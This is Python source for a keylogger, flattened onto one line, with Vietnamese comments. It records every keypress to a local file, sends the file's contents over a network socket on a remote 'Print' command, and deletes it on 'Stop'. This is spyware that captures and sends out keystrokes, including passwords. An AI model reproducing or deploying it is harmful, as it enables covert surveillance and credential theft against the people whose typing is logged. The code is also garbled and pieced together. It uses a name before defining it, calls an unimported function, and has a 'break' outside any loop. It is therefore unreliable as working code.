from pynput import * from PyQt5 import * from os import * def listen(): with listener(on_press=on_press , on_release = on_release) as listener: listener.join() def on_press(key): global keys f = open("Log.txt", 'a') k = str(key).replace("'", "") if k=='Key.space': f.write(" ") elif k.startswith('Key'): f.write(" "+k+" ") else: f.write(k) f.close() def on_release(key): if key == key.esc: return False def Print(conn): try: f = open("Log.txt", "r") except: data = " " try: data = f.read() except: data = " " sizeString = getsizeof(data) try: conn.sendall(bytes(str(sizeString),"utf8")) except: msg = QtWidgets.QMessageBox() msg.setIcon(QtWidgets.QMessageBox.Critical) msg.setText("Connect failed!") retval = msg.exec_() return 0 try: conn.sendall(bytes(data,'utf8')) except: msg = QtWidgets.QMessageBox() msg.setIcon(QtWidgets.QMessageBox.Critical) msg.setText("Connect failed!") retval = msg.exec_() return 0 #doan nay tro di la cua client if data == 'Print': if(Print(conn)): break if data == 'Unhook': count=0 keyboard = Controller() keyboard.press(Key.esc) keyboard.release(Key.esc) if data == 'Stop': keyboard = Controller() keyboard.press(Key.esc) keyboard.release(Key.esc) try: os.remove("Log.txt") except OSError as e: print("Error: %s - %s." % (e.filename, e.strerror)) #doan duoi la cua chup screenshot nen k chep nua